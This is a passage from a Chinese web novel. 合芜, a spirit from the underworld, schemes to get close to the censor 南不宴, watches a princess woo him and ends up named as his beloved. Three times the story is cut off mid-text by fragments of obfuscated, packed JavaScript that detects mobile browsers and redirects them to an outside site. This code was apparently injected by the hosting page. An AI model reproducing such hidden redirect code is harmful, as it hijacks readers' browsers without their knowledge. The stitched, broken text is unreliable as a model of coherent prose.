“合姑娘唤我冯原就好!今日得见合姑娘真是冯某三生有幸,听恒儿说姑娘精通法术,是天上来人,不知道姑娘师从哪位高人,可通晓阴阳昏晓、风水玄学,当然最重要的是姑娘可否屈尊赐教,冯某定当虚心求学!若是姑娘师门讲究礼节,不传外人法术,冯某愿意准备一场拜师宴,当众拜师!”冯原一口气说道,合芜根本插不上话。 合芜嘴角抽抽,这还扯上拜师宴了?要是冯原知道自己要拜的师父是一个冥界地府的小鬼,不知道会不会吓到腿都站不直。还有他这话确实是有点密了,难怪方才他说南不宴嘴笨。 合芜道:“你也不必这般端着我,我就一普通人,我们年龄相仿,叫我合芜就行,姑娘姑娘的叫怪生疏的。” 同道中人!冯原兴奋。 “没想到我冯原到了这个年纪还能遇到知己啊,真是‘天涯何处无芳草,来得早不如来得巧’。”冯原感慨,“合芜你这般年少,恒儿昨日还同我说你可以凭空封人口舌,是真的吗?这是什么法术,你可还会其他?” 封人口舌,我现在就想把你的嘴封住。合芜将一缕发丝别到耳后,打了一个响指。 “要我说,我们不做师徒还可以做一个拜把子的兄弟,你觉得,唔——”冯原的嘴被封住,瞪大了眼,眼里没有半点惧怕,都是亲眼见到法术的惊喜。 合芜挥挥手,解了冯原身上的术法。 “教我教我!”冯原道。 合芜扶额,突然灵光一闪,抬头故作为难道:“教你可以——” “真的!” “当然为真,只是我离开师门,如今没有住处,不止我可否?”合芜道。 “你放心,我早已命人在选一间采光极好的屋子,你等会直接过去就成!”冯原道。 “不错。”合芜满意点头,“还有,我教会你这个法术,你还要告诉我一些我想知道的事情,如何?” 冯原疯狂点头,这些都算不上什么。 “好,成交!你想听什么,问我可就问对人了,这整个京州就没有我不知道的事情,比如西街哪家酒楼最红火,近来京州小娘子们都喜欢哪些时新的胭脂水粉,问我可是最清楚了。” 合芜将手肘杵在桌面上道:“我倒不是想要问这些,就想问问你这个名义上表弟,左都御史南不宴。” “不宴?你问他做什么,他这人无趣得很,跟个姑娘家家似的大门不出二门不迈,酒楼食肆哪都不去,天天就在府里闷着,当朝圣上萧齐是咱一同长大的兄弟,要不是有时迫不得已,实在有事要把不宴传唤到宫中去,萧齐甚至都默许他不用上朝,为此之前朝里还有不少怨言呢。”冯原咂舌道。 因有之前对南不宴的误会在,再加上冯原的这一番言论,合芜对南不宴有了一定的改观。 本以为南不宴就是一个表面装正经的花花公子,如今看来倒是真的木头一个。 这可不是一件好事。 合芜原本想着若是这人花一些,破绽自然也就多些,接近他的方法便丰富些,但如果是一个一本正经的木头,那攻克的难度可就大大提升。 接近这种人首先要做的就是不要脸地一直创造见面机会,混个脸熟,其次便是信任亲近,最后才可能有机会谈谈心。要是真到了最后的这个时候,不论是想要玉带还是想要让他因为自己而哭,都会容易许多。 “这么说来,南不宴不是那种会玩弄小娘子感情的人喽?”合芜问道。 冯原像是听到了什么惊天的大笑话,边说边笑道:“玩弄小娘子感情?哈哈哈哈哈,不宴他不被小娘子玩弄感情就不错了,哈哈哈哈哈!” 合芜眉毛一挑,更感兴趣了。 “此话怎讲?” “你是不知。”冯原终于笑得缓过劲来,摆手示意合芜靠近些,“街上最近都有传言说不宴这几年身边没有女人是因为喜欢男子,你说好笑不好笑,我不行了哈哈哈哈哈。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165128|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 合芜:“……哇哦。” 这话,不是她传的吗,这么快就……传到这里来了? 罢了罢了,反正他们也不知始作俑者是她,合芜假装镇定道:“都堂玉树临风,看着便不像有那些龙阳之好,想来这些都是些空穴来风。” “哎!合芜你果然与别的姑娘不同,别的姑娘都是拿不定主意来问我,你这真是通透,一眼便瞧出此乃不实之事,佩服佩服。” 呵呵,能不通透吗,她自己传出去的话能不知道真假?这要是再不通透那就是记忆衰退,要去鬼大夫那扎几针才能好。 “低调低调。” “想当初咱们不宴啊那可是京州贵女争相抢夺的少年郎!不对现在也是,不过当初更甚。”冯原一讲起往事就滔滔不绝。 “有人仰慕不免为一桩幸事,为何说南不宴他会被姑娘玩弄感情呢?” “不宴为人洒脱,对京州里的姑娘皆是礼节到位,我和萧齐都以为他会是那种见到心悦之人直接上门求亲的人,哪里知道咱们在沙场上单枪匹马的小将军在见到崔姑娘的时候竟连道都走不动了。”冯原提及往事,笑着摇头。 “不宴骑着马偷摸追了人家送镖的车队一路,最后还被崔姑娘误当作山匪,一箭从马上射了下来,不仅一句怨言都没有,在养伤的那几日里甚至都不愿意上药,说是要留一道疤,来记住那次初遇。” “原来街上那些茶馆里说的书是真的啊……”合芜叨叨着。 冯原看向她:“你说什么?” “哦没,没什么,你继续。”合芜打着马虎眼。 冯原津津有味地说着。 合芜发起了呆,小脑瓜开始转了起来。 没想到这南不宴不是根木头啊,反倒是纯情得很呐。崔禾姑娘竟然有如此之大的吸引力,合芜想着,戏文里都怎么说的来着,青梅竹马?两小无猜?哦不对!是瑶台月。 这就是瑶台月的威力吗。 毫无疑问,想要接近南不宴得要从这唯一的瑶台月入手。 “合芜?合芜你在听吗?”冯原看到合芜眼神涣散,一副若有所思的模样,喊道。 合芜回过神:“哦在的在的。” “你怎么魂不守舍的。” “有,有吗?”合芜道,“许是也被都堂和崔姑娘的故事感动到了吧。” 冯原道:“我跟你说,这是不宴的私事我一般不与外人说,我跟你说了之后你可不要轻易告诉别人。” “自然的。”合芜点头。 “但是自从崔姑娘走后,不宴就变成了现在这个样子,无论别人如何说都听不进去,你别看他面上冷着,但心里还是热的。” 冯原叹了口气,突然想到今日来这的目的。 “合芜,你说要教我法术,我不多学,就想知道方才的那个。”冯原做了一个闭嘴的手势,“封口术。” 合芜挑眉:“想学这个?” “嗯嗯。”冯原点头如捣蒜。 合芜望望院门口,得找个机会去接近南不宴,至于这里,合芜眼珠滴溜一转,先找个借口糊弄过去。 “好说好说。”合芜胡言乱语道,“这个术法基础,但是你没有基本功,得先从基本功练起,俗话说兵不厌诈、调虎离山,主打一个反其道而行,你看见这片湖了吗?” “看见了。”冯原一眨不眨地瞪着湖面。 合芜站起身笑道:“要学封口不语,就要先学会一个字‘喊’,你站到湖边对着湖面大喊,嘿嘿哈哈的喊,直到你可以听见你的回音为止。” “就这样?” “就这样!” “好!”冯原极相信合芜,站到湖边就喊了起来。 “嘿——哈——” 合芜往后默默退了几步:“你先喊着,我到附近逛逛,一会儿来验收成果哈。” 合芜转身就跑,听着身后传来的嘿哈声忍不住笑出声,真如坊间传闻,冯家少公子不喜学术,只爱玄学,在湖边喊怎么可能听到回声呢。 哎呀真好!合芜伸了个懒腰。 这回时间充裕多了。 10. 烽烟烬里故人归(九) 合芜走在石子路上,心情不错,嘴里哼着小曲。 南不宴会在哪里呢?之前他不就是从这里和他那个手下一起出来的吗? 合芜一会儿往右边的桥上拐,一会儿又挑一个左边的门走,碰到路就走,左都御史府的路绕来绕去的,她都不知道自己走到哪了。 合芜顺着路走下几节石阶,小径边上堆放着形态各异的假山石。又往前走了几步,前头传来窸窸窣窣的声响,随后从成片墨绿色竹林后闪出两个人影,嘀嘀咕咕说着什么,合芜下意识躲到一座假山石后边,屏息竖耳听着。 “什么?元熙长公主又来了?”一个下人紧张兮兮道。 “可不是吗,方才长公主就站在御史府门口,咱们拦不住也不敢拦,现在人就在前厅。” “都堂知道吗?” “知道,已经有人去通传给都堂了,这元熙公主也真是执着,三天两头往咱这跑,前几次还好,只是站在府门口,这回直接就进府了,对咱都堂也太穷追不舍了一点。”另一下人道,两人交头接耳着走过石子路。 “走走,快去看看。” “哎呀你小点声,要是被人发现不知道要挨什么罚。” 合芜紧贴着假山石,直到那两人拐过院墙才从假山石后走出来。 稀里糊涂听了个大概,合芜提炼出关键信息:南不宴在前厅,即使不在前厅也在前往前厅的路上,因为有位仰慕他良久的金枝玉叶的长公主殿下来了。 那还等什么,合芜抬起脚赶紧悄悄跟上。 * 御史府的前厅门开着,屋子里头点着香,不是什么名贵的香料,但是闻着倒是能够让人静下心来。 屋里头一位身着桃粉色广袖留仙裙的少女端着身子坐在椅子上。她眉毛细弯,眼尾扑着脂粉微微上挑,裙摆上绣满桃花,连发髻上戴着的簪子都是用东珠镶嵌成的桃花。 “霓儿,不宴哥哥来了吗?”粉衣少女朱唇微启缓缓道,边说边举止端庄地拿起手边倒好的茶微微抿了一小口。 霓儿俯下身:“殿下,府中下人已经去禀报了,想必南都堂大人已经在赶来的路上,殿下不必心急,都堂大人定是想极了殿下,殿下只需安心等着便好。” 元熙闻言羞涩一笑,眼波流转:“就你嘴甜会说话,最近课业多,是有好几日没有出宫了,也不知道不宴哥哥会不会怪我好几日没来,我今日特意穿了这件绣满桃花的衣裳,不知道他会不会喜欢。” 霓儿哄道:“都堂大人定是会喜欢的,奴婢都打听过了,都堂大人最宝贝后院的那几树桃花,殿下今日穿着这衣裳简直貌美如花,不对不对,是比花还要娇。” 前厅左侧最旁边的一扇窗户微微动了动,窗户左下角米黄的窗纸发出细微的声响。 “怎么糊得这么紧。” 过了一会儿,突然没了动静,下一秒一根手指直接捅开了窗户纸,一只忽闪忽闪,睫毛长长的大眼睛从洞里望了进来。 合芜猫着腰往里头探着。 里面还有两个人,合芜一下子就被那件华服给吸引了去,绫罗绸缎,穿金戴银,那人一定就是元熙长公主了,这一身从头到脚算下来应该值钱不少银子吧,也太好看了。 鉴于现在要和南不宴拉近距离的目的,合芜无法在第一时间判断这位长公主是敌是友,只能先观望着。 在合芜半蹲等得腿发麻之前,屋外传来脚步声。 南不宴进了前厅,额上布着一层薄汗,身后跟着风影。 “不宴哥哥!”元熙长公主的眼神立刻像是黏在南不宴身上了一样,再容不下旁人,半点都移不开,她立马放下手中的杯盏起身迎了上去,声音甜腻腻的。 “臣拜见殿下。”南不宴只是瞥了长公主一眼,便面色冷淡地低下头,话语生疏道。 元熙不知道是没注意到南不宴冰冷的语气,还是压根不在乎,只顾着看到南不宴气息不稳。 气息不稳,不宴哥哥为了来见她真的如此急切。 院子心里这么想着,乐着,面上笑得更加羞涩,要说一开始还是一株含苞待放的花朵,现在已经盛开到不能再艳丽了。 “不宴哥哥你快坐,几日不见怎么就生疏了,叫我元熙就行呀,来的路上定是很急吧,元熙给你擦擦汗。”说着,元熙从袖中取出一方粉色绣帕,迈步上前,伸出手就要给南不宴擦汗。 南不宴立刻后退一步与长公主拉开距离,直白道:“殿下今日来此所为何事。” 元熙见南不宴后退,没有气馁,脸上立马又扬起笑来,将帕子塞到霓儿手中,转身拿起一杯茶递给南不宴:“不宴哥哥你渴了吧,要不先喝茶?” 南不宴没有接,风影在后面紧张地擦了擦冷汗。 合芜挑着眉从洞里看着,好你个南不宴,胆子真肥,这么搏长公主的面子,这整个京州也就只有你敢了吧。 “臣不渴。” 依旧简短,依旧冰冷。 元熙的手顿住,眉目间终是弥漫上一层委屈:“那不宴哥哥想做什么,今日元熙正好有空,元熙可以陪不宴哥哥一起。” “殿下没有要事?”南不宴皱眉问道。 “殿下来找都堂大人可不就是要事?”霓儿站在元熙身后听了半天,终是忍不住没好气道。 元熙立马制止:“莫要胡言,霓儿。” “若是没有其他的事情,就还请殿下早日回宫,如今外头不太平,长公主殿下金尊玉贵,若是伤着碰着,臣也不好向陛下交代。”南不宴道。 合芜看得起劲,从洞里看不过瘾,干脆直接将窗子打开一条缝,继续瞧着。 长公主看起来还是一副没有放弃的样子,直接使出杀手锏,直接在南不宴面前踮起脚尖,翩翩然转了一个圈,神采奕奕地举起自己的广袖,甜甜道:“不宴哥哥,那你看看我这身衣服,是不是很好看?” 南不宴和风影来得匆忙,注意力又不在这方面,未曾注意到过长公主殿下的衣着,如今经她一提醒,风影看后直接就是一个倒抽凉气,脸色瞬间煞白,慌乱的目光在自家侯爷与长公主殿下之间来回游移着。 自家侯爷喜欢桃花是因为后院的那几株桃树是嫂夫人之前与侯爷一起种下的,长公主如今这么穿,可是往侯爷伤口上捅刀子啊。 南不宴原先就不太好的脸色变得更加阴沉。 微风吹着窗棂不时发出吱呀的声响,破开的窗纸像秋日的残蝶翻飞着。 屋内的氛围肉眼可见地开始紧张起来。 呦,有意思,合芜往前凑了凑。 南不宴还真是招蜂引蝶,这元熙长公主和他什么交情,竟然这般倾慕于他,强劲竞争对手加一。不过看南不宴这反应似乎是不想做驸马了,合芜默默在心里给长公主的竞争威胁力减下几分。 屋内,南不宴偏过头将目光移开,没有再看元熙:“长公主殿下,天色不早了。” 其中逐客之意不能再明显。 “长公主殿下,请吧。”风影在南不宴身后俯身,毕恭毕敬地做出送客的手势,他动作迅速,就怕再玩一点点自家侯爷就会炸了。 这回换成霓儿不高兴了,她双手叉腰,紧皱眉头冲着风影喊道:“我家殿下和都堂大人说话,有你什么事!?” 危险的敌军见过不少,但没有一个可以让风影这般无措,他被霓儿这气势唬住,张口半天却再也憋不出一个字。 霓儿见他势弱,正欲继续开口追责,只听身后的元熙声音委屈道:“不宴哥哥,你就如此不待见元熙吗?元熙今日好不容易有时间出宫,一下马车便来寻你,不宴哥哥若是不喜元熙来你府上,那元熙就去租一家酒楼同不宴哥哥谈天,可好?” 南不宴没有说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还没有等来他的回应,一阵刺耳的声音先闯进合芜的耳朵。 “你是谁?!你为什么可以揽着不宴哥哥的手!”元熙眼睛发红,不知道是哭的还是气的,伸手指着合芜质问道。 “我——”合芜正欲开口。 “你闭嘴,本宫有让你说话吗!”方才温柔的样子顿时荡然无存,元熙根本没有让合芜开口说话的打算,转头委屈地看着她的不宴哥哥,声音又柔弱了不少。 “不宴哥哥,她是谁?” 这么凶?! 合芜嘴角抽动,要不是看在她是长公主的份上,怕戏弄她会惹出诸多不必要的麻烦,她高低要让她尝尝封口术的滋味,不对,什么痒痒术、麻麻术都给她安排上。 南不宴没有开口,眉眼低垂看着身侧的合芜,就见她正一副张牙舞爪,却不得不把所思所想憋在心里的模样。 刚才他是怎么了,大抵是旧疾又犯了,可是这回恢复神志竟然不用把自己泡在冰桶里几个时辰,只是因为,南不宴注视着合芜抓在他臂弯的手。 只是因为方才她唤了他一声。 “不宴哥哥!!!”元熙见南不宴根本不看自己,眼神像是黏在那个女人身上一样,她委屈地喊着,眼睛则是狠狠瞪着合芜。 合芜注意到南不宴落在她手腕的视线,会错了意,心里犯嘀咕。 还敢嫌弃她,要不是她来的及时,他早就被长公主拆吃入腹了。 合芜一撇嘴,想把手从南不宴的臂弯间取出,还没有离开几寸,只觉得手腕被一只滚烫的手摁住,随后整只手被包进掌心里。 好烫,这就是活人的温度吗? 南不宴,他这是在干嘛?合芜抬头,一脸愕然。 南不宴眼神平静,看着元熙。 “她,是我心悦之人。” 啥?! 合芜怀疑自己的耳朵坏了,要不就是南不宴的脑子出问题了,他知不知道自己刚才说了什么啊!!! 11. 烽烟烬里故人归(十) 这回不光是元熙愣在原地,所有人除了南不宴之外,全部像是静止了一般。 “我什么时候成了——”合芜皱着小脸疑惑道。 早知道就不好奇跟着过来看热闹了,亏她刚才还心软过来帮了他一把,但现在南不宴的行为不就是把他当枪使吗,她又不傻。合芜汗颜,刚才南不宴那一句“心悦之人”差点儿没把她送走,着实是把她如此勇敢之人吓了一跳。 鬼的天! 合芜突然想到,自己一时半会儿回不到冥界,要是之后长公主气不过要找她开刀,南不宴又是一时口嗨对她的生死不管不顾了怎么办? 到时候又不能用术法还手,只能眼睁睁看着自己被欺负吗?合芜光是想想就禁不住哆嗦了一下。 “阿芜还耍小脾气呢?昨晚在书房之中的嬉闹之事,是我做的过火了,阿芜可否原谅我?”南不宴不等合芜说完,打断她的话,脸上带着笑,语带歧义开口道。 他捏住合芜的手腕,示意她不要多说。 听听!听听!青天大老爷!他说的这是什么话!合芜有被南不宴的厚颜无耻再次震惊到,她昨天不就是不小心看见他沐浴,但是昨日他也把剑架到她脖子上了不是吗,一比一平,况且南不宴穿得那么严实,防贼一样,她都还什么都没看到呢,说到底还是她亏了。 合芜哪里受过此等污蔑?!再说下去她就真的跳到忘川里都讲不清了。 她急忙道:“你别乱说,我不就是看到了你沐浴,其他的——” “够了!都给本公主闭嘴!!!” 面前二人你一句我一句,在元熙看来何尝不刺眼,如同打情骂俏一般。 元熙愤怒长喊一句,可是还觉得不解气,转头张望,看到桌上摆着茶壶杯盏,快步回到座椅边,伸手抓过,统统都往地上摔去,随着“哗啦”一声巨响,茶盏的碎片碎的满地都是,茶水也撒在地上。 合芜灵活一跳脚,她本身就穿着方到脚踝的灯笼裤,幸好躲闪及时,这才没有被地上飞过来的锋利碎片划到脚踝。 长公主好生凶猛,合芜顿时肃然起敬。 南不宴将合芜拉到身后。 喂喂喂,这是干什么。合芜越过南不宴的肩头看向长公主,她还要向人家解释清楚,挡住她是几个意思。 “不宴哥哥!你究竟看上她什么了!”元熙指着南不宴身后冒出半个头的合芜,语气讽刺道,“她从头到脚一副村姑打扮,色彩暗淡没有半份生气!她哪一点配得上你啊,不宴哥哥!” 有,有吗? 合芜低头看看自己的绿褂子和红色灯笼裤,这不是挺好看的吗。 “还有她那头发,也不知道梳梳,就这样随意扎着,半点饰品都没有,一看就是一穷二白,不宴哥哥她就是看上了你的身份,看上你的银钱了,你可千万不要被她骗了呀!” 合芜伸手摸摸自己的发梢,这发质万里挑一啊,真是不懂得欣赏,再说了戴那满头首饰叮叮当当的不难受吗,脖子都酸了吧。 她转身揪起一捋头发在风影面前晃了晃,又转了一个圈,压低声音小声问风影:“不好看吗?” 风影连忙点头,做着“好看”的口型。 合芜光看到风影点头,会错了意,以为他点头的意思是认为自己这身不好看,不由瘪瘪嘴。 哼,没眼光。 见合芜脸色一时差极了,风影茫然,他说错话了?这姑娘怎么和侯爷一样难以捉摸啊,苦涩苦涩。 “不宴哥哥,她还粗俗!她还不懂礼数!她——” 元熙红着眼睛哭诉着。 南不宴神情无奈,自小他与冯原、萧齐还有许多的世家贵族确实一起长大,读书塾、学骑射也皆是在一起,萧元熙作为萧齐的妹妹,南不宴认识但是真的算不上熟悉。元熙如京州万千小娘子一般,对南不宴一见倾心,二见痴情,这么多年元熙借着自己哥哥的关系对南不宴表明心意了多少次,南不宴就回绝了她多少次,从儿时的皇子、公主、小侯爷变为如今的天子,长公主与左都御史再无其他。 元熙实在是找不出词汇来讽刺合芜,只能闭口不言目带仇视地盯着她,仿佛她的不宴哥哥不接受她全全就是因为合芜的勾引。 南不宴声音稳稳道:“若是殿下再闹下去,臣不知道到时候在萧齐面前还能再帮殿下说什么了。” 听到皇兄的名讳,到底还是有些畏惧,元熙收敛了些性子,伸出的手也收了回来,但眼里仍旧是满满的不服气。 “天色已晚,若是殿下再不回去,陛下是会焦急的。”南不宴再次开口。 元熙道:“不宴哥哥,你就只会说这些吗,元熙回去就好,不宴哥哥不必说了,礼数什么的元熙还是懂得的,不像某些人。” 说完,元熙瞪了合芜一眼,绣花鞋尖一转,扬了扬袖子,快步走出前厅,只是往外走了几步之后又回头看了看南不宴,却见屋中之人的目光并不在自己的身上,恼火地跺了跺脚,这才转身随着下人出了御史府。 合芜从南不宴的身后绕出来,快步走到前厅的门边扒拉着门框向着远处的正门望着,直到长公主彻底离开,才长长舒出一口气。 “南不宴!”合芜回过味来,咋咋唬唬道,指着南不宴几步跑跳到他面前,“我什么时候成了你的心悦之人了?” 南不宴看着合芜说话的样子,面色也恢复到之前公事公办的模样:“事急从全,抱歉。” “一句抱歉就过去了?我虽然是——”合芜注意到站在南不宴身后的风影,突然想到在这里知道她真实身份的人只有南不宴一人,还是先不要让别人知道的好,她压低声音继续说,“虽然我不是人,不在乎在这人界的名声,但是你知不知道人界有多少冥界神界的眼睛,要是被冥界的鬼魂们知道我堂堂地府合芜在人界被你区区一个凡人戏弄,我的面子往哪搁啊?” 说着,合芜还装模作样半眯着眼,拍拍自己白皙的脸颊。 本以为他会大大方方,毫不计较,拿出当官人的气度给她来点补偿,什么补偿都行,但要是银钱就最好了,合芜是这么想的。 但是没想到。 南不宴并没有如合芜所想那般,反而是向前走进几步,逼着合芜硬生生往后退了半步。 “你,你干嘛?” 南不宴压低身段,学着合芜的样子压低声音道。 “你堂堂地府合芜,被我区区人界左都御史南不宴戏弄——”他故意拖长语气。 “不亏。” …… 合芜愣住。 …… “南!不!宴!” * 是夜,晚风卷着秋日夜晚的霜露气息从半敞着的窗口吹进合芜的卧房。 不知是因为冯原与南不宴说过自己要在这府暂住,还是觉着今日在前厅里利用了她良心一时过不去,合芜住下的过程极其的顺利,南不宴像是默认了一般,还命下人给她送来了些换洗的衣裳。 合芜翻来覆去地打量着桌上的新衣裳,心里琢磨着。 一开始就觉得拿下南不宴这件事不简单,但本以为再难应该也难不到哪里去,只因为南不宴一开始在合芜的认识里是一个没什么社交圈,一心一意做自己事的人。但今日发生的种种让南不宴在合芜脑海里的印象大大改变。 他不仅认识长公主,好像人家还打定主意要嫁给他不可。还有那个风影,合芜想着,几乎时时刻刻跟在南不宴身后,两个人好像还在查什么挺重要的东西。 连长公主这样的南不宴都看不上,合芜觉着自己想要拿下南不宴的计划简直就像是天方夜谭。 要不先放弃,放弃攻略这个左都御史的计划,那个存在于过去的崔禾姑娘对南不宴的影响实在是太大了,自己怎么可能拿下他啊。 合芜托腮,指尖轻点着脸颊,但是不行啊自己的半条命现在还在人家手上,走也走不了。 “啊啊啊烦死了!”合芜挠挠脑袋,晃悠着一头栽倒在软乎乎的床褥子上。 这左都御史府果真不错,连这床褥子躺着都这么舒服,就算这次计划不成,给自己的蘑居添上一床这样的床褥子也不错,合芜美滋滋想这着。 合芜的眼皮子不受控制地越来越沉重,最终慢慢合上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165130|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 长公主走后,合芜也先溜走了,风影跟着自家侯爷回到了书房。 本来今日收到消息,说是济婴镇又有了关于嫂夫人的新消息,风影跟着侯爷快马加鞭准备先去济婴镇打探一二,哪里知道马匹都还没有跑出城就接到府上传来的飞鸽传书,说是宫里来人,长公主登门拜访。 之前南不宴曾拜托萧齐暗中调查三年前烬烽关战役中管理传讯以及后勤的所有相关人员消息,只为探查出当年到底是谁能神不知鬼不觉地将烬锋关的假情报畅通无阻地传到京州。 见宫中突然来人,南不宴还以为是萧齐让萧元熙来递消息,半途急匆匆赶回来,确认再三,却只是萧元熙的私事。 风影大气不敢出跟在南不宴身后进了书房,熟练地将房门掩上。 今日没有按照计划赶到济婴镇,又闹了长公主这一场乌龙,风影只要用脑子想想就知道侯爷今日的心情不会好,况且自从三年前开始侯爷就不苟言笑,即使心情不错的时候也不会有太大的情绪波动,更别说现在了,侯爷一定极是焦躁。 风影站在书桌前,鼓起勇气抬起头,正想好好劝一下侯爷,话还没说出口,就生生噎在了喉咙里。 他看到了什么? 南不宴坐在桌前,眉头舒展,没有半分恼意。 不应该啊。 今日有什么开心事? 风影揉揉眼睛,再定睛一看,这回侯爷嘴角竟然有了一丝若有若无的弧度。 侯爷,好久没有这么笑过了,虽不及过去的万分之一,但也是一件天大的好事。 “怎么了,这种眼神一直看着我做甚,有什么事说就是。”南不宴注意到风影惊喜的眼神,稍微收敛了下神色。 风影一愣,急忙应道:“没,没有,就是好久没见侯爷这么开心过了。” 南不宴面色一窘,有些不自然道:“我,看起来很开心?” 风影连连点头。 “你看错了。”南不宴道。 风影自知侯爷脸皮薄,也就不说了,只是道:“侯爷,风影不明白,今日你明明可以像从前一样直接拒绝长公主,为何今日要搭上合姑娘?还说,还说她是侯爷你的心上人。” 南不宴没有说话,像是在斟酌该如何开口,也像是在思考自己为何会这般做,沉默良久最终开口道:“近日关于阿禾的消息逐渐多了起来,线索一一链接了起来,接下来要做的事情只会更加多,在这时候没有时间可以分心在其他的事情上,今日用合芜当借口拒绝萧元熙只望她能彻底放弃。” 闻言此,风影却不买账,小声嘀咕:“之前侯爷你也没有分心在长公主身上过啊,这算是什么借口。” “你说什么?” “没,没什么!”风影立马闭嘴,问,“那侯爷为何同意合姑娘在府里住下?” 也许是也觉得自己所言并非实情,南不宴胡乱想将话题翻过去:“今日已经拿她当借口将长公主请走,若是将她赶走被萧元熙发现,不久露馅了,把她留在身边至少能闭避风头,再者说,还要叫她帮忙查一些事情。” “什么事啊?”风影不知道侯爷与合芜之间的交易,好奇问道。 南不宴没有说:“只是一些私事罢了。” “好吧。”风影见侯爷不愿意开口,只能遗憾不再追问,杵在书桌前没有动。 “你还有什么事?”南不宴揉揉太阳穴,叹气问道。 风影犹豫开口:“就是,冯公子现在还在后院的湖边不愿意走。” 南不宴皱眉无语:“更深露重的,他没事站在湖边干什么?” “风影派人去劝了,但冯公子说是合姑娘在教他一个什么封口术的基本功,一直在湖边对着湖面嘿哈叫个不停,说是要听到回声才行。” 南不宴一副头疼的样子,冯原果真是书读到狗肚子里去了,这种放在明面上的谎话都能被骗,道:“她的话冯原也能信,真的是蠢到家了,找人把他弄回他自己卧房去,要是还是不听,就把人绑了直接扔回去,大半夜的扰人清静。” “好的侯爷!”风影干劲十足,奔出书房。 12. 烽烟烬里故人归(十一) 一大早,御史府的膳房里就传来噼里啪啦一顿吵闹,锅碗瓢盆碰撞的咣咣当当里还混带着油锅里的刺啦声响,惊得边上一圈的鸟扑簌簌飞起又飞落,叽叽喳喳叫个不停,仿佛在宣泄着睡不了好觉的不满。 “这膳房里怎么乒乒乓乓的?”有下人道。 “好像是之前在府里住下的那姑娘,这水塘边也就住着她一个,左右打扰不到别人,不要多问了。” 轰隆一声,膳房的窗子被急忙推开,合芜灰头土脸地趴在窗棂上咳嗽,小小一张脸上黑乎乎的,一双大眼睛也被呛得半眯起来。 “咳咳咳!” 合芜生无可恋,不可置信地从腰间的围裙袋里掏出冯原给的食谱,哗啦啦翻到一页标红的纸张前。 “这到底是什么东西啊,真的是什么糖油果子吗,这油星子炸得比地府里的油锅都可怕!”合芜嘟囔着,忙不迭又离锅远了些。 这几日南不宴总是和那个风影往外跑,幸好去的地方大抵都不是很远,合芜被命魂的结界带着一会儿往西跑一会儿往东跑,累个半死。 不过合芜发现了一件事,随着时间的推移,再加上和南不宴相处的时间增多,也不知道是不是她的错觉,她散失的那一部分命魂好似在逐渐回归于体内,控制她的结界力量慢慢在减弱,她的行动范围也逐渐扩大起来。 “也就是说,只要我和南不宴的接触时间加长,关系更加亲密,命魂就会逐渐回归体内?”合芜得出结论,不过也不知道对不对,但凡事总要试试不是。 合芜去找了几回冯原,教了他几个小戏法,旁敲侧击地询问出了南不宴爱吃的东西。 这不是人界有一种说法:要抓住一个男人的心就要先抓住他的胃。 合芜觉得这句话很离谱,但是凡事存在都有它的道理,不信也不行。 只是这糖油果子,也太难做了一点吧! 合芜给自己加油打气,从桌台上随手拿起根竹筷,将垂在一侧的长辫子盘绕起来,懒懒散散绕在脑后。 不就是一个糖油果子吗,她合芜还没有说不行的时候! “取糯米粉和以热水,还有酵粉……红糖少许……”合芜盯着书页上的红字,在围裙上抹了抹手,拿起木棍开始在碗里搅动起来。 只是这搅着搅着,合芜的表情开始难以捉摸起来:“这颜色……嗯……怎么好像不太对静。” “算了算了,做出来的味道应该是对的。” 卖相什么的,她现在也追求不来,反正吃到肚子里都一样,睁一眼闭一眼的也就吃下去了。 合芜嘿咻嘿咻搅着,直到搅不动了便将面糊糊从碗里倒出来开始和面团。 “怎么……这么……粘手啊?”合芜边揉边嘀咕,“这书上不是说可以揉成光滑的面团吗?” 合芜又胡乱揉了几下,就将面团分成几小段开始在掌心搓圆。 “这样应该就可以了吧,起锅烧油!” 刺啦啦!面团下锅,溅起油星子,合芜立马缩到锅盖后面。 呼……安全! 再来一个……再加一个…… 加…… …… 轰隆隆!!! 一声巨响,膳房窗口冒出阵阵黑烟,膳房的屋门被猛地撞开,一个灰扑扑的身影落荒而逃地冲出膳房。 合芜刚冲下膳房的台阶就撞进了一个结实的胸膛,现在不仅是心灵上受到重创,连带着额头也撞得不轻。 “谁呀!不长眼……睛的吗……”合芜的大嗓门在看清来人之后瞬间降低了音量,气势全无。 “南不宴?你怎么来这里了?” 南不宴不知道什么时候来了膳房,看了撞在自己怀里的合芜一眼,后退半步眉头一皱:“我要是再不来,我家的膳房恐怕是保不住了吧。” “呃……这个嘛。”合芜回头看了一眼还在冒黑烟的膳房,有点尴尬地摸摸鼻子,手上的黑灰蹭在脸上唯一还干净的鼻尖上,整个人登时变得有些滑稽可笑,“这个膳房还可以再救一下。” 南不宴的神色微不可察地变化了一瞬,像是憋笑。 “想要研究炸药就自己溜去军械司,合姑娘不是能耐着吗,难道说在我府上的膳房里也能研究炸药不成?”南不宴边说边往膳房里走。 